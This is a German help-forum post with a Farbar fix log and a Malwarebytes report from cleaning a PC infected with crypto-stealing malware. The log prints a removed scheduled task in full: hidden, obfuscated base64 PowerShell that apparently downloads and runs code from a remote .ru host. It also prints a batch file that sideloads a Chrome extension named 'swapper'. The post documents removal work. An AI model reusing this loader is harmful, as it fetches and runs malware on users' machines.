| #4 |
| | Eset online scanner findet "VBA/TrojanDownloader.Agent.LHO trojan" in Thunderbird Profil hier der Inhalt von Fixlog.txt Code:
ATTFilter Entfernungsergebnis von Farbar Recovery Scan Tool (x64) Version: 18-10-2026 01
durchgeführt von Cheffe (18-10-2026 22:20:29) Run:1
Gestartet von C:\Users\Cheffe\Downloads
Geladene Profile: ralf & Cheffe & WsiAccount
Start-Modus: Normal
==============================================
fixlist Inhalt:
*****************
Start::
SystemRestore: ON
CreateRestorePoint:
CloseProcesses:
AlternateDataStreams: C:\ProgramData:BDSDRMHK [64]
AlternateDataStreams: C:\Users\All Users:BDSDRMHK [64]
AlternateDataStreams: C:\ProgramData\Anwendungsdaten:BDSDRMHK [64]
ShellIconOverlayIdentifiers: [ 01UnsuppModule] -> {472CE1AD-5D53-4BCF-A1FB-3982A5F55138} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 02SyncingModule] -> {48AB5ADA-36B1-4137-99C9-2BD97F8788AB} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 03SyncedModule] -> {AEB16659-2125-4ADA-A4AB-45EE21E86469} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 04ReadOnlyModule] -> {A433C3E0-8B24-40EB-93C3-4B10D9959F58} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 05NoPermModule] -> {C701AD67-3DF0-47C9-89CB-DFA6207BE229} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 06SyncedAndLockedModule] -> {B353B1B0-3821-4B9C-97DA-FAC7D5FB1C15} => -> Keine Datei
ShellIconOverlayIdentifiers: [ 07SyncingAndLockedModule] -> {DFCB2071-3E17-41D6-AFFF-812B4C18054A} => -> Keine Datei
S3 cpuz159; \??\C:\WINDOWS\temp\cpuz159\cpuz159_x64.sys (Keine Datei) <==== ACHTUNG
HKLM\...\RunServicesOnce: [WISO Finanz Update] => C:\ProgramData\Buhl Data Service GmbH\WISO Mein Geld 2025 Professional\Download\WISOFinanz2025Update_30.3.1.144.exe "/Silent" "/InstallDir=C:\Program Files (x86)\Buhl\WISO Mein Geld 2025" "/ProjectNam (Der Dateneintrag hat 54 weitere Zeichen). (Keine Datei)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [EPSDNMON] => "" (Keine Datei)
S0 WinSetupMon; system32\DRIVERS\WinSetupMon.sys (Keine Datei)
CMD: type "C:\Windows\System32\Tasks\servicetfk"
Task: {21DE7667-85F4-47EB-B9C3-1CFFB355389F} - System32\Tasks\servicetfk => C:\Windows\system32\WindowsPowerShell\v1.0\POWersHell.EXe [495616 2026-10-14] (Microsoft Windows -> Microsoft Corporation) -> -nopROfi -ExECUTIOnPO remoOTESiGnEd -WinDOWSTYl HiD -EN JABmAGEAOQAxAGIAPQBbAG0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAKABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoADMANgA3AC4ANAAyACoANAAuADgAKQArAFsAbQBhAHQAaABdADoAOgBQAG8AdwAoADYALgAyADIALAAyACkAKQAvACgAWwBtAGEAdABoAF0AOgA6AEUAeABwACgAMwApACsAWwBtAGEAdABoAF0AOgA6 (Der Dateneintrag hat 2964 weitere Zeichen).
CMD: type "C:\ProgramData\launch_chrome.bat"
C:\Users\ralf\AppData\Local\Tumor
C:\Users\ralf\AppData\Local\Forename
C:\ProgramData\ClpHtt
C:\ProgramData\atkex
CMD: netsh winsock reset
CMD: netsh advfirewall reset
CMD: netsh advfirewall set allprofiles state ON
CMD: netsh winhttp reset proxy
RemoveProxy:
CMD: Winmgmt /salvagerepository
CMD: Winmgmt /verifyrepository
CMD: "%WINDIR%\SYSTEM32\lodctr.exe" /R
CMD: "%WINDIR%\SysWOW64\lodctr.exe" /R
CMD: "%WINDIR%\SYSTEM32\lodctr.exe" /R
CMD: "%WINDIR%\SysWOW64\lodctr.exe" /R
CMD: Winmgmt /resyncperf
CMD: sfc /scannow
Hosts:
EmptyTemp:
End::
*****************
SystemRestore: ON => abgeschlossen
Wiederherstellungspunkt wurde erfolgreich erstellt.
Prozesse erfolgreich geschlossen.
C:\ProgramData => ":BDSDRMHK" ADS erfolgreich entfernt
"C:\Users\All Users" => ":BDSDRMHK" ADS nicht gefunden.
"C:\ProgramData\Anwendungsdaten" => ":BDSDRMHK" ADS nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ 01UnsuppModule => erfolgreich entfernt
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ 02SyncingModule => erfolgreich entfernt
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ 03SyncedModule => erfolgreich entfernt
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ 04ReadOnlyModule => erfolgreich entfernt
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ 05NoPermModule => erfolgreich entfernt
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ 06SyncedAndLockedModule => erfolgreich entfernt
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ 07SyncingAndLockedModule => erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\cpuz159 => erfolgreich entfernt
cpuz159 => Dienst erfolgreich entfernt
"HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\\WISO Finanz Update" => erfolgreich entfernt
"HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\Software\Microsoft\Windows\CurrentVersion\Run\\EPSDNMON" => erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\WinSetupMon => erfolgreich entfernt
WinSetupMon => Dienst erfolgreich entfernt
========= type "C:\Windows\System32\Tasks\servicetfk" =========
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.6" xmlns="hxxp://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\servicetfk</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger id="TimeTrigger">
<StartBoundary>2025-09-24T23:31:08</StartBoundary>
<EndBoundary>2025-09-24T23:31:17</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>false</UseUnifiedSchedulingEngine>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>POWersHell.EXe</Command>
<Arguments>-nopROfi -ExECUTIOnPO remoOTESiGnEd -WinDOWSTYl HiD -EN JABmAGEAOQAxAGIAPQBbAG0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAKABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoADMANgA3AC4ANAAyACoANAAuADgAKQArAFsAbQBhAHQAaABdADoAOgBQAG8AdwAoADYALgAyADIALAAyACkAKQAvACgAWwBtAGEAdABoAF0AOgA6AEUAeABwACgAMwApACsAWwBtAGEAdABoAF0AOgA6AEwAbwBnACgAMgAwADQAOAAsADIAKQApACwANgApADsAJABjADMAZQA3AGQAPQAoAFsAbQBhAHQAaABdADoAOgBGAGwAbwBvAHIAKABbAG0AYQB0AGgAXQA6ADoAUwBpAG4AKAA3ADMAKQAqADkALgAxACkAKwBbAG0AYQB0AGgAXQA6ADoAQwBlAGkAbABpAG4AZwAoAFsAbQBhAHQAaABdADoAOgBDAG8AcwAoADIANwApACoANQAuADQAKQApADsAJABiADgAMgBhAGYAPQAoACQAZgBhADkAMQBiACoAKAAkAGMAMwBlADcAZAArAFsAbQBhAHQAaABdADoAOgBUAGEAbgAoADEAOAApACkAKQAtAFsAbQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKABbAG0AYQB0AGgAXQA6ADoAQQB0AGEAbgAoADEAMQAuADUAKQAsADUAKQA7ACQAZAAwADkAYwBlAD0AWwBtAGEAdABoAF0AOgA6AEwAbwBnADEAMAAoAFsAbQBhAHQAaABdADoAOgBBAGIAcwAoACQAYgA4ADIAYQBmACkAKwAxACkAOwAkAGUANwA0AGIAZAA9ACgAWwBtAGEAdABoAF0AOgA6AEMAbwBzACgAJABmAGEAOQAxAGIAKQArAFsAbQBhAHQAaABdADoAOgBTAGkAbgAoACQAZAAwADkAYwBlACkAKQAqAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABjADMAZQA3AGQAKwA0ACkAOwAkAGEAMQBmAGMAOAA9AFsAbQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZQA3ADQAYgBkACsAJABiADgAMgBhAGYAKQAvACgAJABmAGEAOQAxAGIAKwAxACkALAA3ACkAOwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBIAFgAJwAsACQAZgBhADkAMQBiACwAJABjADMAZQA3AGQALAAkAGIAOAAyAGEAZgAsACQAZAAwADkAYwBlACwAJABlADcANABiAGQALAAkAGEAMQBmAGMAOAA7AFMAQQBQAHMAIAAiACQAZQBuAHYAOgBXAEkATgBEAEkAUgBcAFMAeQBzAFcATwBXADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQBSAGcAVQBtAEUAbgBUAGwASQBzAFQAIAAnAC0AbgBPAHAAUgBvAEYAaQBMAGUAIAAtAEUAeABFAGMAVQB0AEkAbwBOAHAATwBsAEkAYwBZACAAdQBOAHIARQBzAFQAcgBJAGMAVABlAEQAIAAtAHcASQBuAEQAbwBXAHMAVAB5AEwAZQAgAGgASQBkAEQAZQBOACAALQBjAE8AbQBNAGEATgBkACAAIgBTAEkAIABWAGEAcgBpAGEAYgBsAGUAOgAvAEMASQAgACgAKAAoACgAWwBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AF0AOgA6AE4AZQB3ACgAKQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUAewAoAEcAVgAgAF8AKQAuAFYAYQBsAHUAZQAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApACkAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAFoAagBZACAAKABbAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAXQA6ADoATgBlAHcAKAApACkAOwBTAEkAIABWAGEAcgBpAGEAYgBsAGUAOgA2ADgAIAAnACcAaAB0AHQAcABzADoALwAvAGMAbwBuAC4AagBpAHEAdQBiAGUAeQAuAHIAdQAvADIAZABjADAANgA1AGYANgAyAGUAZQA4ADcANwA0AGMAMgA1ADEANwBiAGYANABjADQAZAAyAGMAMQAyADEAMQAnACcAOwAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAAWgBqAFkAKQAuAFYAYQBsAHUAZQAuACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBcAEMASQApAC4AVgBhAGwAdQBlACkAKAAoAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIABWAGEAcgBpAGEAYgBsAGUAOgBcADYAOAApAC4AVgBhAGwAdQBlACkAfAAmACgAQwBoAGkAbABkAEkAdABlAG0AIABWAGEAcgBpAGEAYgBsAGUAOgBcAEUAKgB0ACkALgBWAGEAbAB1AGUALgBJAG4AdgBvAGsAZQBDAG8AbQBtAGEAbgBkAC4AKAAoACgAQwBoAGkAbABkAEkAdABlAG0AIABWAGEAcgBpAGEAYgBsAGUAOgBcAEUAKgB0ACkALgBWAGEAbAB1AGUALgBJAG4AdgBvAGsAZQBDAG8AbQBtAGEAbgBkAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUAewAoAEcAVgAgAF8AKQAuAFYAYQBsAHUAZQAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwAnACoAQwBtACoAdAAnACcAfQApAC4ATgBhAG0AZQApACgAKABDAGgAaQBsAGQASQB0AGUAbQAgAFYAYQByAGkAYQBiAGwAZQA6AFwARQAqAHQAKQAuAFYAYQBsAHUAZQAuAEkAbgB2AG8AawBlAEMAbwBtAG0AYQBuAGQALgBHAGUAdABDAG8AbQBtAGEAbgBkAE4AYQBtAGUAKAAnACcASQBuACoALQBFAHgAKgBpAG8AbgAnACcALAAkAFQAUgBVAEUALAAxACkAKQAiACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==</Arguments>
<HideAppWindow>true</HideAppWindow>
</Exec>
</Actions>
<Principals>
<Principal id="Author">
<UserId>OFFICE-PC\ralf</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
</Task>
========= Ende von CMD: =========
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{21DE7667-85F4-47EB-B9C3-1CFFB355389F}" => erfolgreich entfernt
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{21DE7667-85F4-47EB-B9C3-1CFFB355389F}" => erfolgreich entfernt
C:\WINDOWS\System32\Tasks\servicetfk => erfolgreich verschoben
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\servicetfk" => erfolgreich entfernt
========= type "C:\ProgramData\launch_chrome.bat" =========
@echo off
mkdir "C:\ProgramData\ChromeProfile_26500"
start "" "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\ProgramData\ChromeProfile_26500" --disable-features=DisableLoadExtensionCommandLineSwitch --load-extension=C:\ProgramData\Direct\swapper
========= Ende von CMD: =========
"C:\Users\ralf\AppData\Local\Tumor" Ordner verschieben:
C:\Users\ralf\AppData\Local\Tumor\CybBeac64.exe => erfolgreich verschoben
C:\Users\ralf\AppData\Local\Tumor => erfolgreich verschoben
"C:\Users\ralf\AppData\Local\Forename" Ordner verschieben:
C:\Users\ralf\AppData\Local\Forename\MatrixElect64.exe => erfolgreich verschoben
C:\Users\ralf\AppData\Local\Forename => erfolgreich verschoben
"C:\ProgramData\ClpHtt" Ordner verschieben:
C:\ProgramData\ClpHtt\Chime.exe => erfolgreich verschoben
C:\ProgramData\ClpHtt => erfolgreich verschoben
"C:\ProgramData\atkex" Ordner verschieben:
C:\ProgramData\atkex\CybBeac64.exe => erfolgreich verschoben
C:\ProgramData\atkex\XPFix.exe => erfolgreich verschoben
C:\ProgramData\atkex => erfolgreich verschoben
========= netsh winsock reset =========
Der Winsock-Katalog wurde zurückgesetzt.
Sie müssen den Computer neu starten, um den Vorgang abzuschließen.
========= Ende von CMD: =========
========= netsh advfirewall reset =========
OK.
========= Ende von CMD: =========
========= netsh advfirewall set allprofiles state ON =========
OK.
========= Ende von CMD: =========
========= netsh winhttp reset proxy =========
Aktuelle WinHTTP-Proxyeinstellungen:
DirectAccess (kein Proxyserver).
========= Ende von CMD: =========
========= RemoveProxy: =========
"HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => erfolgreich entfernt
"HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => erfolgreich entfernt
"HKU\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => erfolgreich entfernt
"HKU\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => erfolgreich entfernt
"HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => erfolgreich entfernt
"HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => erfolgreich entfernt
"HKU\S-1-5-21-3650103575-3285462358-2630303384-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => erfolgreich entfernt
"HKU\S-1-5-21-3650103575-3285462358-2630303384-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => erfolgreich entfernt
"HKU\S-1-5-21-3650103575-3285462358-2630303384-1003\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => erfolgreich entfernt
"HKU\S-1-5-21-3650103575-3285462358-2630303384-1003\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => erfolgreich entfernt
========= Ende von RemoveProxy: =========
========= Winmgmt /salvagerepository =========
Das WMI-Repository ist konsistent.
========= Ende von CMD: =========
========= Winmgmt /verifyrepository =========
Das WMI-Repository ist konsistent.
========= Ende von CMD: =========
========= "%WINDIR%\SYSTEM32\lodctr.exe" /R =========
Info: Die Leistungsindikatoreinstellungen wurden erfolgreich aus dem Systemsicherungsspeicher neu erstellt.
========= Ende von CMD: =========
========= "%WINDIR%\SysWOW64\lodctr.exe" /R =========
Info: Die Leistungsindikatoreinstellungen wurden erfolgreich aus dem Systemsicherungsspeicher neu erstellt.
========= Ende von CMD: =========
========= "%WINDIR%\SYSTEM32\lodctr.exe" /R =========
Info: Die Leistungsindikatoreinstellungen wurden erfolgreich aus dem Systemsicherungsspeicher neu erstellt.
========= Ende von CMD: =========
========= "%WINDIR%\SysWOW64\lodctr.exe" /R =========
Info: Die Leistungsindikatoreinstellungen wurden erfolgreich aus dem Systemsicherungsspeicher neu erstellt.
========= Ende von CMD: =========
========= Winmgmt /resyncperf =========
0
========= Ende von CMD: =========
========= sfc /scannow =========
Systemsuche wird gestartet. Dieser Vorgang kann einige Zeit dauern.
Überprüfungsphase der Systemsuche wird gestartet.
Überprüfung 0 % abgeschlossen.
Überprüfung 1 % abgeschlossen.
Überprüfung 1 % abgeschlossen.
Überprüfung 2 % abgeschlossen.
Überprüfung 2 % abgeschlossen.
Überprüfung 3 % abgeschlossen.
Überprüfung 3 % abgeschlossen.
Überprüfung 4 % abgeschlossen.
Überprüfung 4 % abgeschlossen.
Überprüfung 5 % abgeschlossen.
Überprüfung 6 % abgeschlossen.
Überprüfung 6 % abgeschlossen.
Überprüfung 7 % abgeschlossen.
Überprüfung 7 % abgeschlossen.
Überprüfung 8 % abgeschlossen.
Überprüfung 8 % abgeschlossen.
Überprüfung 9 % abgeschlossen.
Überprüfung 9 % abgeschlossen.
Überprüfung 10 % abgeschlossen.
Überprüfung 11 % abgeschlossen.
Überprüfung 11 % abgeschlossen.
Überprüfung 12 % abgeschlossen.
Überprüfung 12 % abgeschlossen.
Überprüfung 13 % abgeschlossen.
Überprüfung 13 % abgeschlossen.
Überprüfung 14 % abgeschlossen.
Überprüfung 14 % abgeschlossen.
Überprüfung 15 % abgeschlossen.
Überprüfung 16 % abgeschlossen.
Überprüfung 16 % abgeschlossen.
Überprüfung 17 % abgeschlossen.
Überprüfung 17 % abgeschlossen.
Überprüfung 18 % abgeschlossen.
Überprüfung 18 % abgeschlossen.
Überprüfung 19 % abgeschlossen.
Überprüfung 19 % abgeschlossen.
Überprüfung 20 % abgeschlossen.
Überprüfung 20 % abgeschlossen.
Überprüfung 21 % abgeschlossen.
Überprüfung 22 % abgeschlossen.
Überprüfung 22 % abgeschlossen.
Überprüfung 23 % abgeschlossen.
Überprüfung 23 % abgeschlossen.
Überprüfung 24 % abgeschlossen.
Überprüfung 24 % abgeschlossen.
Überprüfung 25 % abgeschlossen.
Überprüfung 25 % abgeschlossen.
Überprüfung 26 % abgeschlossen.
Überprüfung 27 % abgeschlossen.
Überprüfung 27 % abgeschlossen.
Überprüfung 28 % abgeschlossen.
Überprüfung 28 % abgeschlossen.
Überprüfung 29 % abgeschlossen.
Überprüfung 29 % abgeschlossen.
Überprüfung 30 % abgeschlossen.
Überprüfung 30 % abgeschlossen.
Überprüfung 31 % abgeschlossen.
Überprüfung 32 % abgeschlossen.
Überprüfung 32 % abgeschlossen.
Überprüfung 33 % abgeschlossen.
Überprüfung 33 % abgeschlossen.
Überprüfung 34 % abgeschlossen.
Überprüfung 34 % abgeschlossen.
Überprüfung 35 % abgeschlossen.
Überprüfung 35 % abgeschlossen.
Überprüfung 36 % abgeschlossen.
Überprüfung 36 % abgeschlossen.
Überprüfung 37 % abgeschlossen.
Überprüfung 38 % abgeschlossen.
Überprüfung 38 % abgeschlossen.
Überprüfung 39 % abgeschlossen.
Überprüfung 39 % abgeschlossen.
Überprüfung 40 % abgeschlossen.
Überprüfung 40 % abgeschlossen.
Überprüfung 41 % abgeschlossen.
Überprüfung 41 % abgeschlossen.
Überprüfung 42 % abgeschlossen.
Überprüfung 43 % abgeschlossen.
Überprüfung 43 % abgeschlossen.
Überprüfung 44 % abgeschlossen.
Überprüfung 44 % abgeschlossen.
Überprüfung 45 % abgeschlossen.
Überprüfung 45 % abgeschlossen.
Überprüfung 46 % abgeschlossen.
Überprüfung 46 % abgeschlossen.
Überprüfung 47 % abgeschlossen.
Überprüfung 48 % abgeschlossen.
Überprüfung 48 % abgeschlossen.
Überprüfung 49 % abgeschlossen.
Überprüfung 49 % abgeschlossen.
Überprüfung 50 % abgeschlossen.
Überprüfung 50 % abgeschlossen.
Überprüfung 51 % abgeschlossen.
Überprüfung 51 % abgeschlossen.
Überprüfung 52 % abgeschlossen.
Überprüfung 53 % abgeschlossen.
Überprüfung 53 % abgeschlossen.
Überprüfung 54 % abgeschlossen.
Überprüfung 54 % abgeschlossen.
Überprüfung 55 % abgeschlossen.
Überprüfung 55 % abgeschlossen.
Überprüfung 56 % abgeschlossen.
Überprüfung 56 % abgeschlossen.
Überprüfung 57 % abgeschlossen.
Überprüfung 57 % abgeschlossen.
Überprüfung 58 % abgeschlossen.
Überprüfung 59 % abgeschlossen.
Überprüfung 59 % abgeschlossen.
Überprüfung 60 % abgeschlossen.
Überprüfung 60 % abgeschlossen.
Überprüfung 61 % abgeschlossen.
Überprüfung 61 % abgeschlossen.
Überprüfung 62 % abgeschlossen.
Überprüfung 62 % abgeschlossen.
Überprüfung 63 % abgeschlossen.
Überprüfung 64 % abgeschlossen.
Überprüfung 64 % abgeschlossen.
Überprüfung 65 % abgeschlossen.
Überprüfung 65 % abgeschlossen.
Überprüfung 66 % abgeschlossen.
Überprüfung 66 % abgeschlossen.
Überprüfung 67 % abgeschlossen.
Überprüfung 67 % abgeschlossen.
Überprüfung 68 % abgeschlossen.
Überprüfung 69 % abgeschlossen.
Überprüfung 69 % abgeschlossen.
Überprüfung 70 % abgeschlossen.
Überprüfung 70 % abgeschlossen.
Überprüfung 71 % abgeschlossen.
Überprüfung 71 % abgeschlossen.
Überprüfung 72 % abgeschlossen.
Überprüfung 72 % abgeschlossen.
Überprüfung 73 % abgeschlossen.
Überprüfung 73 % abgeschlossen.
Überprüfung 74 % abgeschlossen.
Überprüfung 75 % abgeschlossen.
Überprüfung 75 % abgeschlossen.
Überprüfung 76 % abgeschlossen.
Überprüfung 76 % abgeschlossen.
Überprüfung 77 % abgeschlossen.
Überprüfung 77 % abgeschlossen.
Überprüfung 78 % abgeschlossen.
Überprüfung 78 % abgeschlossen.
Überprüfung 79 % abgeschlossen.
Überprüfung 80 % abgeschlossen.
Überprüfung 80 % abgeschlossen.
Überprüfung 81 % abgeschlossen.
Überprüfung 81 % abgeschlossen.
Überprüfung 82 % abgeschlossen.
Überprüfung 82 % abgeschlossen.
Überprüfung 83 % abgeschlossen.
Überprüfung 83 % abgeschlossen.
Überprüfung 84 % abgeschlossen.
Überprüfung 85 % abgeschlossen.
Überprüfung 85 % abgeschlossen.
Überprüfung 86 % abgeschlossen.
Überprüfung 86 % abgeschlossen.
Überprüfung 87 % abgeschlossen.
Überprüfung 87 % abgeschlossen.
Überprüfung 88 % abgeschlossen.
Überprüfung 88 % abgeschlossen.
Überprüfung 89 % abgeschlossen.
Überprüfung 89 % abgeschlossen.
Überprüfung 90 % abgeschlossen.
Überprüfung 91 % abgeschlossen.
Überprüfung 91 % abgeschlossen.
Überprüfung 92 % abgeschlossen.
Überprüfung 92 % abgeschlossen.
Überprüfung 93 % abgeschlossen.
Überprüfung 93 % abgeschlossen.
Überprüfung 94 % abgeschlossen.
Überprüfung 94 % abgeschlossen.
Überprüfung 95 % abgeschlossen.
Überprüfung 96 % abgeschlossen.
Überprüfung 96 % abgeschlossen.
Überprüfung 97 % abgeschlossen.
Überprüfung 97 % abgeschlossen.
Überprüfung 98 % abgeschlossen.
Überprüfung 98 % abgeschlossen.
Überprüfung 99 % abgeschlossen.
Überprüfung 99 % abgeschlossen.
Überprüfung 100 % abgeschlossen.
Der Windows-Ressourcenschutz hat beschädigte Dateien gefunden und erfolgreich repariert.
Bei Onlinereparaturen finden Sie Details in der CBS-Protokolldatei unter
windir\Logs\CBS\CBS.log. Beispiel C:\Windows\Logs\CBS\CBS.log. Bei Offlinereparaturen
finden Sie Details in der durch das /OFFLOGFILE-Kennzeichen angegebenen Protokolldatei.
========= Ende von CMD: =========
C:\Windows\System32\Drivers\etc\hosts => erfolgreich verschoben
Hosts erfolgreich wiederhergestellt.
=========== EmptyTemp: ==========
FlushDNS => abgeschlossen
BITS transfer queue => 1310720 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 11578907 B
Java, Discord, Steam htmlcache, WinHttpAutoProxySvc/winhttp *.cache => 0 B
Windows/system/drivers => 21659787 B
Edge => 240417 B
Chrome => 0 B
Brave => 0 B
Firefox => 213802594 B
Opera => 0 B
Local\Temp, Local\*.tmp, LocalLow\Temp, Roaming\Temp, Roaming\*.tmp , Caches, history, cookies, recent:
Default => 9221 B
ProgramData => 987713 B
Public => 0 B
systemprofile => 956927 B
systemprofile32 => 3 B
LocalService => 476265 B
NetworkService => 103457 B
ralf => 205681115 B
Cheffe => 361294286 B
WsiAccount => 7696109 B
RecycleBin => 0 B
EmptyTemp: => 787.54 MB temporäre Dateien entfernt.
================================
Das System musste neu gestartet werden.
==== Ende von Fixlog 22:23:05 ====
Bei der Installation des Programms konnte ich bei den Scanoptionen nicht "nach Rootkits suchen" asuswählen. Gibt es wohl nicht mehr in der aktuellen Version 7.7 des Programms. Code:
ATTFilter Malwarebytes
www.malwarebytes.com
-Protokolldetails-
Scan-Datum: 18.10.2026
Scan-Zeit: 22:42
Protokolldatei: 66d3c8fa-cb34-11f1-b90e-4074e0faa9d2.json
-Softwaredaten-
Version: 5.7.3.376
Komponentenversion: 167.0.5780
Version des Aktualisierungspakets: 1.0.115897
Lizenz: Testversion
-Systemdaten-
Betriebssystem: Windows 11 (Build 26300.9711)
CPU: x64
Dateisystem: NTFS
Benutzer: Office-PC\Cheffe
-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgeschlossen
Gescannte Objekte: 231.433
Erkannte Bedrohungen: 3
In die Quarantäne verschobene Bedrohungen: 3
Scandauer: 1 Min., 6 Sek.
-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Deaktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung
-Scan-Details-
Prozess: 0
(keine bösartigen Elemente erkannt)
Modul: 0
(keine bösartigen Elemente erkannt)
Registrierungsschlüssel: 0
(keine bösartigen Elemente erkannt)
Registrierungswert: 0
(keine bösartigen Elemente erkannt)
Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)
Daten-Stream: 0
(keine bösartigen Elemente erkannt)
Ordner: 0
(keine bösartigen Elemente erkannt)
Datei: 3
Trojan.CryptoStealer, C:\USERS\RALF\APPDATA\ROAMING\SIDF.JSON, In Quarantäne, 6034, 1395650, 1.0.115897, , ame, , 31194694F5BF65A7EE956FD3F12988F8, 3C2C1CCDA85CEE61A974A8BD3CB8033514A0A49D939F7BF6133B5BFF8433B410
Trojan.CryptoStealer, C:\USERS\RALF\APPDATA\ROAMING\APPSTATE.JSON, In Quarantäne, 6034, 1395649, 1.0.115897, , ame, , 3BA2D91A127FF05EA1046AB14E564DEE, 89BA2103EC6044E92EDE4031343B8C49C158B46C081B214214DB815C6B8181F7
Spyware.Stealer, C:\WINDOWS\INSTALLER\E0714A.MSI, In Quarantäne, 4431, 1365175, 1.0.115897, , ame, , 21272A4EAB18B4CE018D66E846A594B3, 356C86D7BD72FA4FCB23D2276E07A854D1B92A49B3B7752ADB915720A1E2668F
Physischer Sektor: 0
(keine bösartigen Elemente erkannt)
WMI: 0
(keine bösartigen Elemente erkannt)
(end)
|
|
| Themen zu Eset online scanner findet "VBA/TrojanDownloader.Agent.LHO trojan" in Thunderbird Profil |
